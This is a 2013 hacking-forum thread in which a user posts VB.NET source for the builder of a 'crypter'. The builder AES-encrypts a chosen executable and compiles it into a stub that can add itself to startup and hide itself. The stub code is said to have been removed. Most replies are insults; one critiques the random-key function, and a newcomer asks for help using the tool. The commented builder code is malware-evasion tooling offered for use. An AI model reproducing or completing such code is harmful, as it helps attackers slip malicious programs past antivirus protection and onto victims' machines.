

Forum: [Hack Forums](#)

Thread: [VB.NET - Example Crypter - A crypter example source code](#)

C3o1 - July 18, 2013, 2:12 am

Credit <https://hackforums.net/showthread.php?tid=3622113>

hey "hackers" ?

i been bored and decide to convert the above crypter to vb as its look as good example and get lots of replys
so here is it

Code Public Class Form1

```
Private Sub button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim FOpen As New OpenFileDialog() With {.Filter = "Executable Files|*.exe", _
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}
If FOpen.ShowDialog() = DialogResult.OK Then
    TextBox1.Text = FOpen.FileName
End If
End Sub
```

```
Private Sub button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Dim FOpen As New OpenFileDialog() With {.Filter = "Icon Files|*.ico", _
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}
If FOpen.ShowDialog() = DialogResult.OK Then
    TextBox2.Text = FOpen.FileName
End If
End Sub
```

```
Private Sub button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
TextBox3.Text = RandomString(25)
End Sub
```

```
Private Function RandomString(length As Integer) As String
Dim pool As String = "abcdefghijklmnopqrstuvwxyz"
pool += pool.ToUpper()
Dim tmp As String = ""
Dim R As New Random()
For x As Integer = 0 To length - 1
    tmp += pool(R.[Next](0, pool.Length)).ToString()
Next
Return tmp
End Function
```

```
Private Sub button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
Dim FSave As New SaveFileDialog() With {.Filter = "Executable Files|*.exe", _
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}
If FSave.ShowDialog() = DialogResult.OK Then
```

```

' We read the source of the stub from the resources
' and we're storing it into a variable.
Dim Source As String = My.Resources.Stub
' If the user picked a storage method (he obviously did)
' then replace the value on the source of the stub
' that will later tell the stub from where it should
' read the bytes.
If RadioButton1.Checked Then
' User picked native resources method.
Source = Source.Replace("[storage-replace]", "native")
Else
' User picked managed resources method.
Source = Source.Replace("[storage-replace]", "managed")
End If
' Check to see if the user enabled startup
' and replace the boolean value in the stub
' which indicates if the crypted file should
' add itself to startup
If CheckBox1.Checked Then
' User enabled startup.
Source = Source.Replace("[startup-replace]", "true")
Else
' User did not enable startup.
Source = Source.Replace("[startup-replace]", "false")
End If
' Check to see if the user enabled hide file
' and replace the boolean value in the stub
' which indicates if the crypted file should hide itself
If CheckBox2.Checked Then
' User enabled hide file.
Source = Source.Replace("[hide-replace]", "true")
Else
' User did not enable hide file.
Source = Source.Replace("[hide-replace]", "false")
End If
' Replace the encryption key in the stub
' as it will be used by it in order to
' decrypt the encrypted file.
Source = Source.Replace("[key-replace]", textBox3.Text)
' Read the bytes of the file the user wants to crypt.
Dim FileBytes As Byte() = IO.File.ReadAllBytes(textBox1.Text)
' Encrypt the file using the AES encryption algorithm.
' The key is the random string the user generated.
Dim EncryptedBytes As Byte() = Encryption.AESEncrypt(FileBytes, textBox3.Text)

'IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) +
"/source.txt", Source)

' Compile the file according to the storage method the user picked.
' We also declare a variable to store the result of the compilation.
Dim success As Boolean
If RadioButton1.Checked Then
' User picked native resources method

```

```

' Check if the user picked an icon file and if it exists.
If IO.File.Exists(TextBox2.Text) Then
' Compile with an icon.
success = Compiler.CompileFromSource(Source, FSave.FileName, TextBox2.Text)
Else
' Compile without an icon.
success = Compiler.CompileFromSource(Source, FSave.FileName)
End If
Writer.WriteResource(FSave.FileName, EncryptedBytes)
Else
' The user picked the managed resource method so we'll create
' a resource file that will contain the bytes. Then we will
' compile the stub and add that resource file to the compiled
' stub.
Dim ResFile As String = IO.Path.Combine(Application.StartupPath, "Encrypted.resources")
Using Writer As New Resources.ResourceWriter(ResFile)
' Add the encrypted bytes to the resource file.
Writer.AddResource("encfile", EncryptedBytes)
' Generate the resource file.
Writer.Generate()
End Using
' Check if the user picked an icon file and if it exists.
If IO.File.Exists(TextBox2.Text) Then
' Compile with an icon.
success = Compiler.CompileFromSource(Source, FSave.FileName, TextBox2.Text, New String()
{ResFile})
Else
' Compile without an icon.
success = Compiler.CompileFromSource(Source, FSave.FileName, Nothing, New String()
{ResFile})
End If
' Now that the stub was compiled, we delete
' the resource file since we don't need it anymore.
IO.File.Delete(ResFile)
End If
If success Then
MessageBox.Show("Your file has been successfully protected.", "Success!",
MessageBoxButtons.OK, MessageBoxIcon.Information)
End If
End If
End Sub
End Class
Give Credit to Delirium
if u cant put all together and want the project ?
will see

```

Enjoy

Stub

Code Go Convert It

I DIDNT TEST IT BUT IT SHOULD WORK !

I Delete It I Warn You

Lightsout - July 18, 2013, 3:23 am

(Jul 18, 2013 02:12 AM)C3oI Wrote: [\[CITE\]](#) Wow 21 Views No 1 Reply

Wow I didnt now people HAD to reply when they SAW a thread. Threatening them by deleting The code will only make the thread worthless.

Temploit - July 18, 2013, 3:38 am

(Jul 18, 2013 03:23 AM)AdzToolz Wrote: [\[CITE\]](#) Wow I Didnt Now People HAD To Reply when they SAW A Thead. Threatning them By Deleting The Code Will Only make the Thread Worthless.

Truest thing I ever heard in the whole section.

velox - July 18, 2013, 5:17 am

By the sounds of it I think you just want rep. Thanks anyways

Juggernauten - July 18, 2013, 5:20 am

My guess is that you used on off the c# to vb.net converter available everywhere on the net, then you just posted it here only for the rep. Correct?

SadColors - July 18, 2013, 5:39 am

(Jul 18, 2013 05:20 AM)Juggernauten Wrote: [\[CITE\]](#) My guess is that you used on off the c# to vb.net converter available everywhere on the net, then you just posted it here only for the rep. Correct?

Sounds about right to me. I didn't bother posting in this thread asking a question about the source because I knew it was completely leeched.

Well I didn't know that, but im assuming that and by the way OP acts I've came to this conclusion, thanks for nothing OP, unless you can explain your source then don't post it.

Kotei - July 18, 2013, 10:15 am

Y'all are a bunch of hard asses, wtf. O.o At least he did something and gave credits, instead of you lil fuck heads who sit here giving him shit and saying he's only doing it for the rep. So fucking what if that's what he's doing it for? At least it's a contribution, even if it is a small one. Y'all need to stop being such little cunts and just say thank you or fuck right off.

C3oI - July 18, 2013, 11:02 am

(Jul 18, 2013 10:15 AM)Umbrein Wrote: [\[CITE\]](#) Y'all are a bunch of hard asses, wtf. O.o At least he did something and gave credits, instead of you lil fuck heads who sit here giving him shit and saying he's only doing it for the rep. So fucking what if that's what he's doing it for? At least it's a contribution, even if it is a small one. Y'all need to stop being such little cunts and just say thank you or fuck right off.

this section is like this always full with smart ass kids who dont know to code
i dont give adamn about rep , its really ajok to care about it if u have brain
lets see how many can convert it to do it u must know c#

believe me i have lots of codes that i can share but i know that its not worth it

SadColors - July 18, 2013, 11:04 am

(Jul 18, 2013 11:02 AM)C3oI Wrote: [\[CITE\]](#) this section is like this always full with smart ass kids who dont know to code

i dont give adamn about rep , its really ajok to care about it if u have brain
lets see how many can convert it to do it u must know c#

believe me i have lots of codes that i can share but i know that its not worth it
Well elaborate on this source in detail then. If you are actually able to.

Also how can you make a thread, then say "DIDNT TEST" and then go as far as to delete the stub
because people hurt your feelings. this thread is Lol.

C3oI - July 18, 2013, 11:11 am

what else u want to push the button in ur IDE

u have the link to his thread the src is comment on every line

i didnt hurt and no hard feeling just knew whats gona happened > flaming hate etc..

if u understand what u quote ? i know this section long time before u came

?Mephobia - July 18, 2013, 4:10 pm

You only converted the builder... Why not convert the whole project?

Kotei - July 19, 2013, 9:15 am

He had the stub converted as well, but he removed it because he didn't get enough appreciation,
apparently.

Rooter - July 19, 2013, 11:24 am

(Jul 18, 2013 03:23 AM)AdzToolz Wrote: [\[CITE\]](#) Wow I Didnt Now People HAD To Reply when they
SAW A Thead. Threatning them By Deleting The Code Will Only make the Thread Worthless.
You must feel so hard and tough on a new member By Talking Like This.

Kotei - July 19, 2013, 1:16 pm

(Jul 19, 2013 11:24 AM)Rooter Wrote: [\[CITE\]](#) You must feel so hard and tough on a new member By
Talking Like This.

The guy you quoted is newer than the guy who posted the thread. O.o Just because he has more
posts/rep doesn't mean he's the senior.

Delirium™ - July 19, 2013, 3:38 pm

Your random string function will not work. R.Next() will return the same value since in VB .NET,
you'll need to call Randomize() before getting a random value.

C3oI - July 20, 2013, 2:09 pm

(Jul 19, 2013 03:38 PM)Delirium™ Wrote: [\[CITE\]](#) Your random string function will not work. R.Next()
will return the same value since in VB .NET, you'll need to call Randomize() before getting a random
value.

i could check it and post it as working project but as u can see in ur thread and here ppl dont
appreciate and flame

Peppe_G - October 14, 2013, 7:07 am

hello I'm new I need help to use the cripter ... thanks